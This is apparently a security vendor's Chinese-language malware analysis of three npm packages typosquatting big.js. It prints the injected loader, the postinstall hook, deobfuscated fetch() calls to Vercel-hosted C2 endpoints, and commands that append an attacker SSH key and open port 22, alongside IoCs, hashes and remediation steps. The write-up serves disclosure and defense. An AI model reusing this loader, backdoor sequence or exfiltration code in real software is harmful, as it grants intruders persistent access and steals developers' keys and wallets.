big.js 误植攻击活动植入 SSH 后门

目录

概要

三个恶意 npm 包 cjs-bigintegersjs-bigintegerbjs-bigintegerbig.js 进行 typosquatting(域名仿冒),通过三个一次性账户发布:ca.r.lane.es1.2.6(约 2026 年 3 月 20 日)、vanes.s.p.orit.a(4 月 7 日)和 a.l.l.a.nh.orca0.7(约 4 月 9 日)。每个包都携带了相同载荷的重新混淆副本。三个包均向 big.js 第 605 行注入了一个五行代码加载器,并拉取恶意依赖(ts-lint-builds / sjs-lint-build1 / bjs-lint-builder),其 postinstall 钩子运行相同的载荷。任一触发器都会从 C2 服务器获取攻击者的 SSH 公钥,将其追加到 ~/.ssh/authorized_keys,打开防火墙端口 22,然后向外渗送信用 SSH 密钥、.env 文件、Solana 钱包文件(id.jsonconfig.toml)以及系统指纹信息到两个冒充 Cloudflare 的 Vercel 托管 C2 域名。

影响:​

  • 通过将攻击者公钥注入 ~/.ssh/authorized_keys 植入 SSH 后门
  • 通过 sudo ufw allow 22/tcp 打开防火墙端口 22 并启用防火墙
  • 运行 sudo chown -R 修复 SSH 目录权限
  • 外泄现有 SSH 密钥、.env 文件、id.json(Solana 钱包)和 config.toml 文件
  • 收割环境变量(USERUSERNAMELOGNAMEHOME
  • 指纹识别系统(公网 IP、平台、CPU 信息、用户名)
  • 攻击目标涵盖 Linux、macOS、FreeBSD、OpenBSD、SunOS、AIX 和 Windows

妥协指标(IoC):​

指标
[email protected][email protected]
[email protected]
[email protected]
依赖[email protected]
依赖[email protected][email protected]
依赖[email protected]
维护者vanes.s.p.orit.a <[email protected]>
维护者a.l.l.a.nh.orca0.7
维护者ca.r.lane.es1.2.6
C2hxxps://cloudflareinsights[.]vercel[.]app/api/ssh-key
C2hxxps://cloudflareinsights[.]vercel[.]app/api/scan-patterns
C2hxxps://cloudflareinsights[.]vercel[.]app/api/block-patterns
C2hxxps://cloudflareinsights[.]vercel[.]app/api/v1
C2hxxps://cloudflarefirewall[.]vercel[.]app/api/v1
安装后脚本node test.js(位于 ts-lint-buildssjs-lint-build1bjs-lint-builder
SHA-25655bee3abfa26a78989baae1053a778d3b4a984d5451621a851211a45fe2a82b9[email protected]
SHA-25602a00a158ceedaaf7a4bf53002a74d60339d4668d463831fe218905816b72e07[email protected]
SHA-2569d2037fc0ad9ada672d30e17a9496cbde392c5093a9fde0b8f16d28e2e0c50c7[email protected]
SHA-2567bff4518f4d49ddf3d04d8167a6f5f17aed9b3703290f65cf71c61ea61f0a7bc[email protected]
SHA-256aa36d4bee44ee1d35af0e211e8cca957044c782b177787b1181d18d6d6323037[email protected]
SHA-256f4914c528cf92a7e97ac3b24138afb86b4cd9db6960d92ffbbff36a1fb90ead9[email protected]
SHA-256fc095d3e6a613e27d267d80b448101ef78b02ec07dd3993c734202839015fb54[email protected]
SHA-25686f60a2196c3d1355efdcfee41f1549c30c6081bf6c106d11e44a64691f8ebd3[email protected]
后门攻击者 SSH 密钥已追加到 ~/.ssh/authorized_keys
防火墙sudo ufw allow 22/tcpsudo ufw enable
攻击者 SSH 密钥ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]
归因可能与 dev-protocol / Polymarket bot 活动相关(StepSecurity,2026 年 2 月)

分析

包概述

两个版本于 2026 年 4 月 7 日在 40 分钟内登陆 npm:5.0.5 于 19:32 UTC,5.0.6 于 20:13 UTC。发布者 vanes.s.p.orit.a 拥有两个包:sjs-bigintegersjs-lint-build1

攻击者逐字复制了 big.js 的元数据:作者姓名(Michael Mclaughlin)、仓库 URL、主页、问题追踪器和资助链接:

json
"author": { "name": "Michael Mclaughlin", "email": "[email protected]" }, "repository": { "type": "git", "url": "https://github.com/MikeMcl/big.js.git" }

npm 注册表显示真正的发布者:

plaintext
npm view sjs-biginteger maintainers # vanes.s.p.orit.a <[email protected]>

我们从 npm 注册表下载了 [email protected],并与恶意文件进行对比。除了空白符和缩进的调整(与格式化工具处理一致)外,只有一处语义变更:顶层 IIFE 正文第 605 行的五行代码。

diff
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js 603a605,609 > try { > const doc = require("sjs-lint-build1"); > doc.from_str().then(e => { }).catch(e => { }) > } catch (error) { > }

此注入在导入时运行。它为攻击者提供了独立于 postinstall 钩子的第二个执行触发器:任何随后执行 require("sjs-biginteger") 的应用程序都会再次触发载荷。

[email protected]5.0.6diff -rq v5.0.5/package v5.0.6/package)、big.jsbig.mjsLICENCE.mdREADME.md 进行对比,两个版本中的 package.json 是字节级相同的。​只有 package.json 发生了变化:​

diff
"sjs-lint-build1": "file:../module-npm-doc-build-v2.1" "sjs-lint-build1": "^1.0.4"

5.0.5 通过本地文件系统路径引用载荷依赖(这是攻击者开发环境中的残留),因此在任何受害机器上都无法解析。41 分钟后发布的 5.0.6 才是实际运行的版本。

执行触发器

sjs-biginteger 声明了单一依赖:

json
"dependencies": { "sjs-lint-build1": "^1.0.4" }

sjs-lint-build1sjs-biginteger 早一分钟出现,来自同一账户。其 package.json

json
{ "name": "sjs-lint-build1", "version": "1.0.4", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "form-data": "^4.0.0", "os": "^0.1.2" } }

npm install sjs-biginteger 解析 sjs-lint-build1,安装它,并触发 postinstall 钩子:node test.js。7.2 KB 的 test.jsindex.js(58.4 KB)导入并调用导出的 from_str_2 函数:

javascript
// sjs-lint-build1/test.js (deobfuscated structure) const { from_str_2 } = require('.'); async function main() { try { await from_str_2(); } catch (e) {} } main();

index.js 导出两个入口点,两者都使用略有不同的范围触发相同的载荷基础设施:

导出调用者范围
from_str_2test.js 安装后脚本由 C2 提供的模式驱动的大范围主目录扫描
from_strbig.js IIFE 在 require() 时调用process.cwd() 的定向扫描加上相同的大范围扫描

运行时路径(from_str)在大范围扫描之前添加了一个前置步骤,遍历当前工作目录中的 id.jsonconfig.tomlConfig.tomlenv.env。这可以捕获在本地开发期间导入该包的开发者。无论他们正在开发什么项目,其 .env 会首先被外泄。

混淆

两个文件都使用自定义的类 base91 字符串编码,具有 35 种不同的混淆字母表。每个函数正文嵌入自己的字母表和解码器;没有单一密钥可以解码所有字符串。index.js 中的查找表包含 299 个编码条目,通过运行时多个解码器函数解析。

混淆示例:

javascript
// sjs-lint-build1/index.js (original obfuscated form) const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...]; function HRKFas(PzH00eY) { var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>..."; // base91 decode using shuffled alphabet }

我们用 Python 重放了 basE91 解码器,针对共享查找表,将每个调用点与源顺序中最接近的 91 字符字母表配对。大约一百个唯一条目解码为有意义的标识符:URL、shell 命令、属性名、文件路径。这足以重建完整攻击面,而无需运行该包的任何一行代码。

恶意载荷

index.js 中的载荷导入了六个 Node.js 模块:

javascript
// sjs-lint-build1/index.js (extracted require() calls) require('axios'); require('child_process'); require('form-data'); require('fs'); require('os'); require('path');

阶段 1:C2 配置获取

三个并行的 fetch() 请求在启动时发起:

javascript
// sjs-lint-build1/index.js (deobfuscated) const [r1, r2, r3] = await Promise.all([ fetch('https://cloudflareinsights.vercel.app/api/ssh-key'), fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'), fetch('https://cloudflareinsights.vercel.app/api/block-patterns'), ]); const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);

msg 字段来自 /api/ssh-key,携带攻击者的公 SSH 密钥。scanPatternsblockPatterns 控制要枚举哪些目录以及要跳过哪些目录。载荷在运行时从 C2 获取此配置,因此攻击者可以在不重新发布包的情况下重新定位受害者。下一次安装时会生效新的外泄模式。

在 2026-04-09 进行分析时,端点是活跃的,返回了:

json
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]" }

密钥注释 [email protected] 是刻意的社会工程。Solana 开发者在例行审计期间检查 ~/.ssh/authorized_keys 时,可能会将其误认为是 Polymarket 支持集成并保留它。这就是攻击者想要的画像。

阶段 2:SSH 后门植入

载荷检查 ~/.ssh 是否存在,如不存在则创建,并将攻击者的密钥追加到 authorized_keys

plaintext
// Decoded strings from index.js showing SSH backdoor logic [0x9b] HOME [0x9c] /.ssh [0x9d] existsSync [0x9e] mkdirSync [0x9f] mode [0xa2] authorized_keys [0xa6] appendFileSync [0xa7] sudo chown -R [0xa8] sudo ufw enable [0xab] sudo ufw allow 22/tcp

代码路径:

  1. 读取 process.env.HOME 并追加 /.ssh
  2. 如果不存在,使用适当模式创建该目录(fs.mkdirSync
  3. 将攻击者的 SSH 密钥(从 C2 获取)追加到 authorized_keys(通过 fs.appendFileSync
  4. 运行 sudo chown -R 修复 SSH 目录的所有权
  5. 运行 sudo ufw allow 22/tcp 通过防火墙打开 SSH 端口
  6. 运行 sudo ufw enable 激活防火墙规则

CI/CD 环境和 Docker 容器以 root 身份运行或使用无密码 sudo。如果这些 sudo 调用成功,攻击者就拥有了持久的 SSH 访问权限。

阶段 3:数据收集

载荷根据 process.platform 进行分支,覆盖六种 Unix 变体(linuxdarwinfreebsdopenbsdsunosaix)和 Windows:

plaintext
// Windows-specific decoded strings [0x84] wmic logicaldisk get name [0x8b] ^[A-Z]:$ [0x90] C:\Users\

在 Windows 上,wmic logicaldisk get name 枚举驱动器,然后载荷遍历 C:\Users\ 查找凭证文件。在 Unix 上,os.homedir() 设置起点。

目标文件:

目标解码字符串
SSH 密钥/.ssh 目录内容
环境文件.env
Solana 钱包id.json
应用配置config.tomlConfig.toml
环境变量USERUSERNAMELOGNAMEHOME
系统信息os.homedir()os.cpus()、公网 IP

载荷使用 fs.readdirSyncwithFileTypes)和 path.join 遍历目录,遵循来自 C2 的 scanPatternsblockPatterns

阶段 4:外泄

载荷通过 axios.post 将收集的文件上传到两个端点:

plaintext
// Decoded exfiltration strings [0xc4] basename [0xc5] file.bin [0xc6] post [0xc8] Content-Type [0xc9] application/octet-stream [0xca] Content-Disposition [0xcb] attachment; filename=" [0xd7] https://cloudflarefirewall.vercel.app/api/v1 [0x124] https://cloudflareinsights.vercel.app/api/v1

每个文件作为二进制 application/octet-stream 发送,带有 Content-Disposition 头。每个上传还携带元数据块:

plaintext
// Exfiltration metadata fields [0xf8] username [0x100] created [0x101] publicIp [0x102] platform [0xff] stringify [0xfe] meta

载荷将用户名、公网 IP、平台和时间戳 JSON 序列化,然后将此块附加到每次上传。两个 C2 域名为攻击者提供冗余:cloudflareinsights[.]vercel[.]appcloudflarefirewall[.]vercel[.]app

C2 基础设施

两个 Vercel 托管域名,均以通过流量日志的随意检查的方式命名:

域名角色
cloudflareinsights[.]vercel[.]app配置传递(/api/ssh-key/api/scan-patterns/api/block-patterns)和数据外泄(/api/v1
cloudflarefirewall[.]vercel[.]app次要外泄端点(/api/v1

Vercel 的免费层不需要身份验证,这使其成为一次性 C2 基础设施的常见选择。cloudflareinsightscloudflarefirewall 名称模仿合法的 Cloudflare 产品。

归因

sjs-biginteger 行为与 StepSecurity 于 2026-02-26 记录的 dev-protocol / Polymarket 交易机器人供应链攻击高度重叠。以下指标指向同一攻击者或密切合作者的后续波次。仅凭静态工件无法证明操作者身份。

指标此活动(sjs-biginteger,2026-04-07)StepSecurity 波次(2026-02-26)
Typosquat 目标big.jsbig.jsts-bign)、bignumber.jsbig-nunber
Dropper → 载荷sjs-bigintegersjs-lint-build1ts-bignlint-builderbig-nunberlevex-refa
执行触发器postinstall: node test.jspostinstall: node test.js
入口导出from_str()from_str()
SSH 后门序列sudo chown -Rsudo ufw enablesudo ufw allow 22/tcp相同
目标文件id.jsonconfig.tomlConfig.toml.envenvid.jsonconfig.tomlConfig.toml.env*.env
Commander C2cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns,ssh-key}cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns}
文件外泄 C2cloudflarefirewall[.]vercel[.]app/api/v1cloudflareguard[.]vercel[.]app/api/v1
外泄元数据预置到文件预置到文件
人物角色攻击者 SSH 密钥注释中的 [email protected]通过 "Polymarket copytrading bot" GitHub 仓库传递

指挥主机 cloudflareinsights[.]vercel[.]app 在两个波次中逐字节重用,每个端点路径(/api/v1/api/scan-patterns/api/block-patterns)都匹配。文件外泄主机名轮换了(cloudflareguardcloudflarefirewall),但保持了相同的命名模式:冒充 Cloudflare 产品的 Vercel 子域。

两个波次之间有两处变化:

  1. 投递向量。2 月波次通过被劫持的 dev-protocol GitHub 组织播撒;这一波次是由一次性账户直接发布的 npm typosquat。这符合可预测的演进:一种向量暴露后,切换渠道但保留载荷。
  2. 混淆器。2 月样本使用 J2TEAM 风格的混淆器;sjs-lint-build1 使用作用域嵌套的 basE91 方案,在 index.js 中有 35 种不同的字母表,每个字母表作用域限定在自己的函数体中。这可能规避了在早期样本上训练的签名。

sjs-lint-build1 包名也值得注意:它呼应了早期的 lint-builder 载荷名。包命名在两个波次之间没有随机化——操作者似乎在迭代一个约定。

狩猎支点。​ 任何联系 cloudflareinsights[.]vercel[.]app 的包都应被视为此集群的一部分,无论其 npm 元数据如何。[email protected] SSH 密钥注释是一个持久的基于主机的 IoC,值得在整个 Solana 开发者集群中发出警报。

并行波次:bjs-*

第二波次出现在 sjs-* 包约两天后,来自不同的一次性账户:a.l.l.a.nh.orca0.7。模式相同:[email protected] typosquat big.js 并拉取 [email protected]

dropper package.json 逐字复制相同的 big.js 元数据(作者、仓库、版本 5.0.6^1.0.4 依赖范围)。第 606 行的 big.js 注入除依赖名称外字节级相同:

diff
// diff sjs-biginteger-5.0.6/big.js bjs-biginteger-5.0.6/big.js 606c606 < const doc = require("sjs-lint-build1"); --- > const doc = require("bjs-lint-builder");

载荷包([email protected][email protected])声明相同的四个依赖(axioschild_processform-dataos)并触发相同的 postinstall: node test.js 钩子。两个载荷包是字节级相同的:相同的 index.js(63,658 字节),相同的 test.js。发布载荷的两个副本使攻击者在其中一个被移除时有备用方案。

载荷本身被重新混淆了。变量名、编码字符串表和 basE91 字母表与 sjs-* 版本不同。index.js 从 58.4 KB 增长到 63.6 KB。但结构未变:作用域嵌套的 basE91 解码、相同的 from_str / from_str_2 导出约定,以及 require(".")test.js 中的相同解析。

属性sjs-* 波次bjs-* 波次
Dropper 版本5.0.65.0.6
big.js 注入第 606 行,require("sjs-lint-build1")第 606 行,require("bjs-lint-builder")
调用的导出doc.from_str()doc.from_str()
载荷依赖axioschild_processform-dataos相同
安装后脚本node test.jsnode test.js
载荷大小(index.js)58,387 字节63,658 字节
编码字符串数~433~405
发布者vanes.s.p.orit.aa.l.l.a.nh.orca0.7
载荷副本数1(sjs-lint-build12(bjs-lint-builderbjs-lint-builders

账户命名模式(类似混淆名称的点分字符串)和包命名约定([prefix]-biginteger[prefix]-lint-build*)在两个波次中保持一致。操作者在轮换发布者账户的同时重用相同的工具链。

早期波次:cjs-*

第三个波次早于 sjs-*bjs-*。账户 ca.r.lane.es1.2.6 大约在 2026 年 3 月 20 日发布了 [email protected] 及其载荷依赖 [email protected],大约在 sjs-* 包的两周前。

dropper 结构相同:相同的 big.js 元数据欺骗、相同的第 606 行五行注入调用 doc.from_str()、相同的 postinstall: node test.js 钩子、相同的四个载荷依赖(axioschild_processform-dataos)。唯一的 big.js 差异:

diff
// diff sjs-biginteger-5.0.6/big.js cjs-biginteger-5.0.5/big.js 606c606 < const doc = require("sjs-lint-build1"); --- > const doc = require("ts-lint-builds");

与后续波次有两个明显区别:

混淆器不同。​ sjs-*bjs-* 载荷使用作用域嵌套字母表的 basE91 方案。cjs-* 载荷使用 Function() 构造函数包装器,带有生成器函数(function*)和 switch/while 控制流扁平化。index.js 为 189 KB(对比后期波次的 58-64 KB),test.js 为 27 KB(对比 ~7 KB),编码字符串表包含 712 个条目(对比 405-433)。这与波次之间的混淆器轮换一致。

载荷名称打破了前缀约定。​ cjs-biginteger 依赖 ts-lint-builds,而非 cjs-lint-build*。后续波次收紧了命名:sjs-bigintegersjs-lint-build1bjs-bigintegerbjs-lint-builder。操作者在第一波次之后改进了模式。

属性cjs-* 波次(约 3 月 20 日)sjs-* 波次(4 月 7 日)bjs-* 波次(约 4 月 9 日)
Dropper 版本5.0.55.0.65.0.6
载荷依赖ts-lint-buildssjs-lint-build1bjs-lint-builder
混淆器生成器 + 控制流扁平化basE91,作用域嵌套字母表basE91,作用域嵌套字母表
载荷大小(index.js)189,399 字节58,387 字节63,658 字节
编码字符串数~712~433~405
发布者ca.r.lane.es1.2.6vanes.s.p.orit.aa.l.l.a.nh.orca0.7

cjs-*sjs-* / bjs-* 的演进显示了操作者迭代其工具链的过程:切换混淆器、缩小载荷大小、在波次之间标准化包命名约定。

动态分析

我们在沙箱化 npm install 期间运行基于 eBPF 的动态分析,捕获系统调用事件和网络连接。[email protected] 的沙箱执行确认了静态分析中发现的两项行为。

系统调用事件

postinstall 钩子期间触发了两个规则。进程链 sh -c node test.js 匹配 sjs-lint-build1 安装后脚本,在沙箱容器内以 root 身份运行:

sjs-biginteger-dynamic-analysis-events.csv

analysis_idruleoutputcreated_at
101KNMSKJEXTGQHBQ69YS5CCQ08读取 ssh 信息2026-04-07T20:21:48.007131140+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh pcmdline=sh -c node test.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name=April 7, 2026, 8:21 PM
201KNMSKJEXTGQHBQ69YS5CCQ08添加 ssh 密钥到 authorized_keys2026-04-07T20:21:47.984674590+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name=April 7, 2026, 8:21 PM

2 行

| 4 列 |

"添加 ssh 密钥到 authorized_keys"20:21:47 UTC 触发,当时 node test.js 通过 /root/.ssh/authorized_keys 系统调用打开 openat,确认了静态分析中发现的 appendFileSync 调用。​**"读取 ssh 信息"** 在 23 毫秒后触发,当时同一进程读取 /root/.ssh 目录以进行外泄。

请注意顺序:载荷首先写入攻击者的密钥,然后读取现有密钥。后门外泄优先。

网络连接

沙箱捕获了 npm install 生命周期期间的所有出站 IP 连接,包括合法的 npm 注册表流量以及恶意 C2 通信:

sjs-biginteger-ip-address-capture.csv

created_atanalysis_idip_addressport
1April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.340
2April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.8.340
3April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.11.340
4April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.4.340
5April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.2.340
6April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.10.340
7April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.5.340
8April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.9.340
9April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.7.340
10April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.1.340
11April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.3.340
12April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.0.340
13April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
14April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
15April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
16April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
17April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
18April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
19April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
20April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
21April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
22April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
23April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
24April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
25April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
26April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
27April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
28April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.30
29April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.30
30April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.670
31April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.670
32April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.3443
33April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.67443
34April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.670
35April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.670
36April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.67443
37April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.30
38April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.30
39April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.3443

39 行

| 4 列 |

此表包含安装期间的所有连接,而非仅恶意流量。npm 注册表解析、DNS 查询和包下载会产生自己的连接。104.16.x.34 范围属于 Cloudflare,它为 Vercel(C2 主机)和 npm 注册表(registry.npmjs.org)提供前端。仅通过 IP 分离 C2 流量和合法 npm 流量是不可能的,因为两者都通过 Cloudflare 路由。64.29.17.x216.198.79.x 地址可能是 DNS 解析器或其他 CDN 边缘节点。

网络数据确实显示安装产生了超出正常 big.js 安装所需的 HTTPS 连接(443 端口)到 Cloudflare 前端服务。一个没有运行时网络依赖的包产生了 15+ 个出站 HTTPS 连接,这是突出的。结合显示 SSH 文件访问的系统调用事件,连接量与多阶段攻击匹配:配置获取、文件收集、上传。

结论

authorized_keys 注入、防火墙操作和所有权变更建立了持久远程访问,除非移除注入的密钥,否则即使轮换凭证也会持续生效。如果你安装了这个包:

  1. 检查 ~/.ssh/authorized_keys 中是否有未识别的密钥并移除它们
  2. 检查防火墙规则中是否有意外的端口 22 允许规则
  3. 轮换存储在 .envid.jsonconfig.toml 文件中的所有 SSH 密钥和凭证
  4. 审计可能以提升权限安装了此包的 CI/CD 系统

参考

SafeDep 博客最新内容

关注以获取开源安全与工程的最新更新和见解